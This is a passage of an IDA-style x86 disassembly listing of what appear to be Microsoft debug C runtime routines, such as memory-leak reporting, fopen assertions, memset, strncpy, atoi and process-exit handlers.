push offset a_2x ; "%.2X "
mov eax, [ebp+var_4C]
imul eax, 3
lea ecx, [ebp+eax+var_34]
push ecx
call sub_41EA60
add esp, 0Ch
jmp loc_41DF22
; ---------------------------------------------------------------------------
loc_41DFEC: ; CODE XREF: sub_41DF10+3Cj
mov edx, [ebp+var_4C]
mov [ebp+edx+var_48], 0
loc_41DFF4: ; CODE XREF: sub_41DF10+10Bj
lea eax, [ebp+var_34]
push eax
lea ecx, [ebp+var_48]
push ecx
push offset aDataSS ; " Data: <%s> %s\n"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 1Ch
cmp eax, 1
jnz short loc_41E017
int 3 ; Trap to Debugger
loc_41E017: ; CODE XREF: sub_41DF10+104j
xor edx, edx
test edx, edx
jnz short loc_41DFF4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41DF10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E030 proc near ; CODE XREF: sub_41E920+B9p
var_34 = byte ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
lea eax, [ebp+var_34]
push eax
call sub_41D930
add esp, 4
cmp [ebp+var_20], 0
jnz short loc_41E064
cmp [ebp+var_2C], 0
jnz short loc_41E064
mov ecx, ds:dword_4517E0
and ecx, 10h
test ecx, ecx
jz short loc_41E09B
cmp [ebp+var_28], 0
jz short loc_41E09B
loc_41E064: ; CODE XREF: sub_41E030+19j
; sub_41E030+1Fj ...
push offset aDetectedMemory ; "Detected memory leaks!\n"
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41E084
int 3 ; Trap to Debugger
loc_41E084: ; CODE XREF: sub_41E030+51j
xor edx, edx
test edx, edx
jnz short loc_41E064
push 0
call sub_41DC10
add esp, 4
mov eax, 1
jmp short loc_41E09D
; ---------------------------------------------------------------------------
loc_41E09B: ; CODE XREF: sub_41E030+2Cj
; sub_41E030+32j
xor eax, eax
loc_41E09D: ; CODE XREF: sub_41E030+69j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41E030 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
cmp dword ptr [ebp+8], 0
jnz short loc_41E0C2
jmp loc_41E16E
; ---------------------------------------------------------------------------
loc_41E0C2: ; CODE XREF: _0:0041E0BBj
mov dword ptr [ebp-4], 0
jmp short loc_41E0D4
; ---------------------------------------------------------------------------
loc_41E0CB: ; CODE XREF: _0:0041E11Cj
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_41E0D4: ; CODE XREF: _0:0041E0C9j
cmp dword ptr [ebp-4], 5
jge short loc_41E11E
loc_41E0DA: ; CODE XREF: _0:0041E11Aj
mov ecx, [ebp-4]
mov edx, ds:off_4517F0[ecx*4]
push edx
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov edx, [ecx+eax*4+4]
push edx
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov edx, [ecx+eax*4+18h]
push edx
push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 20h
cmp eax, 1
jnz short loc_41E116
int 3 ; Trap to Debugger
loc_41E116: ; CODE XREF: _0:0041E113j
xor eax, eax
test eax, eax
jnz short loc_41E0DA
jmp short loc_41E0CB
; ---------------------------------------------------------------------------
loc_41E11E: ; CODE XREF: _0:0041E0D8j _0:0041E144j
mov ecx, [ebp+8]
mov edx, [ecx+2Ch]
push edx
push offset aLargestNumberU ; "Largest number used: %ld bytes.\n"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41E140
int 3 ; Trap to Debugger
loc_41E140: ; CODE XREF: _0:0041E13Dj
xor eax, eax
test eax, eax
jnz short loc_41E11E
loc_41E146: ; CODE XREF: _0:0041E16Cj
mov ecx, [ebp+8]
mov edx, [ecx+30h]
push edx
push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41E168
int 3 ; Trap to Debugger
loc_41E168: ; CODE XREF: _0:0041E165j
xor eax, eax
test eax, eax
jnz short loc_41E146
loc_41E16E: ; CODE XREF: _0:0041E0BDj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E180 proc near ; CODE XREF: sub_4010AA+43p
; sub_40F986+4Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
push eax
call sub_422420
add esp, 4
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41E1C0
add esp, 10h
mov [ebp+var_4], eax
mov edx, [ebp+arg_C]
push edx
call sub_422490
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41E180 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E1C0 proc near ; CODE XREF: sub_41E180+20p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
imul ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jnz short loc_41E1E9
xor eax, eax
jmp loc_41E38B
; ---------------------------------------------------------------------------
loc_41E1E9: ; CODE XREF: sub_41E1C0+20j
mov eax, [ebp+arg_C]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jz short loc_41E204
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
jmp short loc_41E20B
; ---------------------------------------------------------------------------
loc_41E204: ; CODE XREF: sub_41E1C0+37j
mov [ebp+var_1C], 1000h
loc_41E20B: ; CODE XREF: sub_41E1C0+42j
; sub_41E1C0:loc_41E383j
cmp [ebp+var_C], 0
jz loc_41E388
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
and edx, 10Ch
test edx, edx
jz short loc_41E299
mov eax, [ebp+arg_C]
cmp dword ptr [eax+4], 0
jz short loc_41E299
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_C]
cmp edx, [ecx+4]
jnb short loc_41E241
mov eax, [ebp+var_C]
mov [ebp+var_20], eax
jmp short loc_41E24A
; ---------------------------------------------------------------------------
loc_41E241: ; CODE XREF: sub_41E1C0+77j
mov ecx, [ebp+arg_C]
mov edx, [ecx+4]
mov [ebp+var_20], edx
loc_41E24A: ; CODE XREF: sub_41E1C0+7Fj
mov eax, [ebp+var_20]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41FBF0
add esp, 0Ch
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov [ebp+var_C], edx
mov eax, [ebp+arg_C]
mov ecx, [eax+4]
sub ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
add ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx], ecx
mov eax, [ebp+var_8]
add eax, [ebp+var_18]
mov [ebp+var_8], eax
jmp loc_41E383
; ---------------------------------------------------------------------------
loc_41E299: ; CODE XREF: sub_41E1C0+63j
; sub_41E1C0+6Cj
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_1C]
jb loc_41E33E
cmp [ebp+var_1C], 0
jz short loc_41E2BD
mov eax, [ebp+var_C]
xor edx, edx
div [ebp+var_1C]
mov eax, [ebp+var_C]
sub eax, edx
mov [ebp+var_24], eax
jmp short loc_41E2C3
; ---------------------------------------------------------------------------
loc_41E2BD: ; CODE XREF: sub_41E1C0+E9j
mov ecx, [ebp+var_C]
mov [ebp+var_24], ecx
loc_41E2C3: ; CODE XREF: sub_41E1C0+FBj
mov edx, [ebp+var_24]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx+10h]
push eax
call sub_4272F0
add esp, 0Ch
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_41E308
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 10h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_41E38B
; ---------------------------------------------------------------------------
loc_41E308: ; CODE XREF: sub_41E1C0+127j
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41E32A
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41E38B
; ---------------------------------------------------------------------------
loc_41E32A: ; CODE XREF: sub_41E1C0+14Cj
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_14]
mov [ebp+var_8], edx
jmp short loc_41E383
; ---------------------------------------------------------------------------
loc_41E33E: ; CODE XREF: sub_41E1C0+DFj
mov eax, [ebp+arg_C]
push eax
call sub_427100
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_41E360
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41E38B
; ---------------------------------------------------------------------------
loc_41E360: ; CODE XREF: sub_41E1C0+191j
mov ecx, [ebp+var_8]
mov dl, byte ptr [ebp+var_4]
mov [ecx], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
loc_41E383: ; CODE XREF: sub_41E1C0+D4j
; sub_41E1C0+17Cj
jmp loc_41E20B
; ---------------------------------------------------------------------------
loc_41E388: ; CODE XREF: sub_41E1C0+4Fj
mov eax, [ebp+arg_8]
loc_41E38B: ; CODE XREF: sub_41E1C0+24j
; sub_41E1C0+143j ...
mov esp, ebp
pop ebp
retn
sub_41E1C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E390 proc near ; CODE XREF: sub_41E490+Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_41E399: ; CODE XREF: sub_41E390+31j
cmp [ebp+arg_0], 0
jnz short loc_41E3BD
push offset aFileNull ; "file != NULL"
push 0
push 35h
push offset aFopen_c ; "fopen.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41E3BD
int 3 ; Trap to Debugger
loc_41E3BD: ; CODE XREF: sub_41E390+Dj
; sub_41E390+2Aj
xor eax, eax
test eax, eax
jnz short loc_41E399
loc_41E3C3: ; CODE XREF: sub_41E390+5Fj
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_41E3EB
push offset aFile_t0 ; "*file != _T('\\0')"
push 0
push 36h
push offset aFopen_c ; "fopen.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41E3EB
int 3 ; Trap to Debugger
loc_41E3EB: ; CODE XREF: sub_41E390+3Bj
; sub_41E390+58j
xor eax, eax
test eax, eax
jnz short loc_41E3C3
loc_41E3F1: ; CODE XREF: sub_41E390+89j
cmp [ebp+arg_4], 0
jnz short loc_41E415
push offset aModeNull ; "mode != NULL"
push 0
push 37h
push offset aFopen_c ; "fopen.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41E415
int 3 ; Trap to Debugger
loc_41E415: ; CODE XREF: sub_41E390+65j
; sub_41E390+82j
xor ecx, ecx
test ecx, ecx
jnz short loc_41E3F1
loc_41E41B: ; CODE XREF: sub_41E390+B7j
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_41E443
push offset aMode_t0 ; "*mode != _T('\\0')"
push 0
push 38h
push offset aFopen_c ; "fopen.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41E443
int 3 ; Trap to Debugger
loc_41E443: ; CODE XREF: sub_41E390+93j
; sub_41E390+B0j
xor ecx, ecx
test ecx, ecx
jnz short loc_41E41B
call sub_427B60
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41E45B
xor eax, eax
jmp short loc_41E485
; ---------------------------------------------------------------------------
loc_41E45B: ; CODE XREF: sub_41E390+C5j
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4277D0
add esp, 10h
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
push eax
call sub_422490
add esp, 4
mov eax, [ebp+var_8]
loc_41E485: ; CODE XREF: sub_41E390+C9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41E390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E490 proc near ; CODE XREF: sub_4010AA+18p
; sub_401C87+596Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 40h
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41E390
add esp, 0Ch
pop ebp
retn
sub_41E490 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41E4B0 proc near ; CODE XREF: _0:00401207p _0:00401215p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41E503
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41E4F7
neg ecx
and ecx, 3
jz short loc_41E4D9
sub edx, ecx
loc_41E4D3: ; CODE XREF: sub_41E4B0+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41E4D3
loc_41E4D9: ; CODE XREF: sub_41E4B0+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41E4F7
rep stosd
test edx, edx
jz short loc_41E4FD
loc_41E4F7: ; CODE XREF: sub_41E4B0+18j
; sub_41E4B0+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41E4F7
loc_41E4FD: ; CODE XREF: sub_41E4B0+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E503: ; CODE XREF: sub_41E4B0+Aj
mov eax, [esp+arg_0]
retn
sub_41E4B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41E510 proc near ; CODE XREF: sub_401404+48Ap
; sub_401404+4A6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41E593
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41E534
shr ecx, 2
jnz short loc_41E5A1
jmp short loc_41E555
; ---------------------------------------------------------------------------
loc_41E534: ; CODE XREF: sub_41E510+1Bj
; sub_41E510+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41E562
test al, al
jz short loc_41E56A
test esi, 3
jnz short loc_41E534
mov ebx, ecx
shr ecx, 2
jnz short loc_41E5A1
loc_41E550: ; CODE XREF: sub_41E510+8Fj
and ebx, 3
jz short loc_41E562
loc_41E555: ; CODE XREF: sub_41E510+22j
; sub_41E510+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41E58E
dec ebx
jnz short loc_41E555
loc_41E562: ; CODE XREF: sub_41E510+2Bj
; sub_41E510+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E56A: ; CODE XREF: sub_41E510+2Fj
test edi, 3
jz short loc_41E584
loc_41E572: ; CODE XREF: sub_41E510+72j
mov [edi], al
inc edi
dec ecx
jz loc_41E606
test edi, 3
jnz short loc_41E572
loc_41E584: ; CODE XREF: sub_41E510+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41E5F7
loc_41E58B: ; CODE XREF: sub_41E510+7Fj
; sub_41E510+F4j
mov [edi], al
inc edi
loc_41E58E: ; CODE XREF: sub_41E510+4Dj
dec ebx
jnz short loc_41E58B
pop ebx
pop esi
loc_41E593: ; CODE XREF: sub_41E510+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41E599: ; CODE XREF: sub_41E510+A9j
; sub_41E510+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41E550
loc_41E5A1: ; CODE XREF: sub_41E510+20j
; sub_41E510+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41E599
test dl, dl
jz short loc_41E5EB
test dh, dh
jz short loc_41E5E1
test edx, 0FF0000h
jz short loc_41E5D7
test edx, 0FF000000h
jnz short loc_41E599
mov [edi], edx
jmp short loc_41E5EF
; ---------------------------------------------------------------------------
loc_41E5D7: ; CODE XREF: sub_41E510+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41E5EF
; ---------------------------------------------------------------------------
loc_41E5E1: ; CODE XREF: sub_41E510+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41E5EF
; ---------------------------------------------------------------------------
loc_41E5EB: ; CODE XREF: sub_41E510+ADj
xor edx, edx
mov [edi], edx
loc_41E5EF: ; CODE XREF: sub_41E510+C5j
; sub_41E510+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41E601
loc_41E5F7: ; CODE XREF: sub_41E510+79j
xor eax, eax
loc_41E5F9: ; CODE XREF: sub_41E510+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41E5F9
loc_41E601: ; CODE XREF: sub_41E510+E5j
and ebx, 3
jnz short loc_41E58B
loc_41E606: ; CODE XREF: sub_41E510+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41E510 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E610 proc near ; CODE XREF: sub_41E710+7p
; sub_433090+271p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
loc_41E616: ; CODE XREF: sub_41E610+4Ej
cmp ds:dword_453DF0, 1
jle short loc_41E636
push 8
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_427040
add esp, 8
mov [ebp+var_10], eax
jmp short loc_41E64F
; ---------------------------------------------------------------------------
loc_41E636: ; CODE XREF: sub_41E610+Dj
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp+var_10], edx
loc_41E64F: ; CODE XREF: sub_41E610+24j
cmp [ebp+var_10], 0
jz short loc_41E660
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_41E616
; ---------------------------------------------------------------------------
loc_41E660: ; CODE XREF: sub_41E610+43j
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+var_4]
mov [ebp+var_C], ecx
cmp [ebp+var_4], 2Dh
jz short loc_41E685
cmp [ebp+var_4], 2Bh
jnz short loc_41E698
loc_41E685: ; CODE XREF: sub_41E610+6Dj
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_41E698: ; CODE XREF: sub_41E610+73j
mov [ebp+var_8], 0
loc_41E69F: ; CODE XREF: sub_41E610+E9j
cmp ds:dword_453DF0, 1
jle short loc_41E6BB
push 4
mov edx, [ebp+var_4]
push edx
call sub_427040
add esp, 8
mov [ebp+var_14], eax
jmp short loc_41E6D0
; ---------------------------------------------------------------------------
loc_41E6BB: ; CODE XREF: sub_41E610+96j
mov eax, [ebp+var_4]
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_14], edx
loc_41E6D0: ; CODE XREF: sub_41E610+A9j
cmp [ebp+var_14], 0
jz short loc_41E6FB
mov eax, [ebp+var_8]
imul eax, 0Ah
mov ecx, [ebp+var_4]
lea edx, [eax+ecx-30h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_41E69F
; ---------------------------------------------------------------------------
loc_41E6FB: ; CODE XREF: sub_41E610+C4j
cmp [ebp+var_C], 2Dh
jnz short loc_41E708
mov eax, [ebp+var_8]
neg eax
jmp short loc_41E70B
; ---------------------------------------------------------------------------
loc_41E708: ; CODE XREF: sub_41E610+EFj
mov eax, [ebp+var_8]
loc_41E70B: ; CODE XREF: sub_41E610+F6j
mov esp, ebp
pop ebp
retn
sub_41E610 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E710 proc near ; CODE XREF: sub_401404+2F4p
; sub_401C87+700p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_41E610
add esp, 4
pop ebp
retn
sub_41E710 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
loc_41E737: ; CODE XREF: _0:0041E77Fj
cmp ds:dword_453DF0, 1
jle short loc_41E757
push 8
mov eax, [ebp+8]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_427040
add esp, 8
mov [ebp-14h], eax
jmp short loc_41E770
; ---------------------------------------------------------------------------
loc_41E757: ; CODE XREF: _0:0041E73Ej
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp-14h], edx
loc_41E770: ; CODE XREF: _0:0041E755j
cmp dword ptr [ebp-14h], 0
jz short loc_41E781
mov eax, [ebp+8]
add eax, 1
mov [ebp+8], eax
jmp short loc_41E737
; ---------------------------------------------------------------------------
loc_41E781: ; CODE XREF: _0:0041E774j
mov ecx, [ebp+8]
xor edx, edx
mov dl, [ecx]
mov [ebp-4], edx
mov eax, [ebp+8]
add eax, 1
mov [ebp+8], eax
mov ecx, [ebp-4]
mov [ebp-10h], ecx
cmp dword ptr [ebp-4], 2Dh
jz short loc_41E7A6
cmp dword ptr [ebp-4], 2Bh
jnz short loc_41E7B9
loc_41E7A6: ; CODE XREF: _0:0041E79Ej
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov [ebp-4], eax
mov ecx, [ebp+8]
add ecx, 1
mov [ebp+8], ecx
loc_41E7B9: ; CODE XREF: _0:0041E7A4j
mov dword ptr [ebp-0Ch], 0
mov dword ptr [ebp-8], 0
loc_41E7C7: ; CODE XREF: _0:0041E837j
cmp ds:dword_453DF0, 1
jle short loc_41E7E3
push 4
mov edx, [ebp-4]
push edx
call sub_427040
add esp, 8
mov [ebp-18h], eax
jmp short loc_41E7F8
; ---------------------------------------------------------------------------
loc_41E7E3: ; CODE XREF: _0:0041E7CEj
mov eax, [ebp-4]
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp-18h], edx
loc_41E7F8: ; CODE XREF: _0:0041E7E1j
cmp dword ptr [ebp-18h], 0
jz short loc_41E839
push 0
push 0Ah
mov eax, [ebp-8]
push eax
mov ecx, [ebp-0Ch]
push ecx
call sub_421180
mov ecx, eax
mov esi, edx
mov eax, [ebp-4]
sub eax, 30h
cdq
add ecx, eax
adc esi, edx
mov [ebp-0Ch], ecx
mov [ebp-8], esi
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov [ebp-4], eax
mov ecx, [ebp+8]
add ecx, 1
mov [ebp+8], ecx
jmp short loc_41E7C7
; ---------------------------------------------------------------------------
loc_41E839: ; CODE XREF: _0:0041E7FCj
cmp dword ptr [ebp-10h], 2Dh
jnz short loc_41E84E
mov eax, [ebp-0Ch]
neg eax
mov edx, [ebp-8]
adc edx, 0
neg edx
jmp short loc_41E854
; ---------------------------------------------------------------------------
loc_41E84E: ; CODE XREF: _0:0041E83Dj
mov eax, [ebp-0Ch]
mov edx, [ebp-8]
loc_41E854: ; CODE XREF: _0:0041E84Cj
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E860 proc near ; CODE XREF: _0:004221D2p
push ebp
mov ebp, esp
cmp ds:off_45181C, 0
jz short loc_41E872
call ds:off_45181C
loc_41E872: ; CODE XREF: sub_41E860+Aj
push offset dword_43F030
push offset dword_43F01C
call sub_41EA30
add esp, 8
push offset dword_43F018
push offset dword_43F000
call sub_41EA30
add esp, 8
pop ebp
retn
sub_41E860 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E8A0 proc near ; CODE XREF: _0:0042222Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 0
mov eax, [ebp+arg_0]
push eax
call sub_41E920
add esp, 0Ch
pop ebp
retn
sub_41E8A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E8C0 proc near ; CODE XREF: _0:00422254p
; sub_422270+22p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
push 1
mov eax, [ebp+arg_0]
push eax
call sub_41E920
add esp, 0Ch
pop ebp
retn
sub_41E8C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 0
push 0
call sub_41E920
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 1
push 0
call sub_41E920
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E920 proc near ; CODE XREF: sub_41E8A0+Bp
; sub_41E8C0+Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
call sub_41EA10
cmp ds:dword_4F3334, 1
jnz short loc_41E943
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F53CC ; GetCurrentProcess
push eax
call ds:dword_4F53C4 ; TerminateProcess
loc_41E943: ; CODE XREF: sub_41E920+10j
mov ds:dword_4F3330, 1
mov cl, byte ptr [ebp+arg_8]
mov ds:byte_4F332C, cl
cmp [ebp+arg_4], 0
jnz short loc_41E9A3
cmp ds:dword_4F4A34, 0
jz short loc_41E991
mov edx, ds:dword_4F4A30
mov [ebp+var_4], edx
loc_41E96E: ; CODE XREF: sub_41E920:loc_41E98Fj
mov eax, [ebp+var_4]
sub eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp ecx, ds:dword_4F4A34
jb short loc_41E991
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_41E98F
mov eax, [ebp+var_4]
call dword ptr [eax]
loc_41E98F: ; CODE XREF: sub_41E920+68j
jmp short loc_41E96E
; ---------------------------------------------------------------------------
loc_41E991: ; CODE XREF: sub_41E920+43j
; sub_41E920+60j
push offset dword_43F03C
push offset dword_43F034
call sub_41EA30
add esp, 8
loc_41E9A3: ; CODE XREF: sub_41E920+3Aj
push offset dword_43F048
push offset dword_43F040
call sub_41EA30
add esp, 8
cmp ds:dword_4F3338, 0
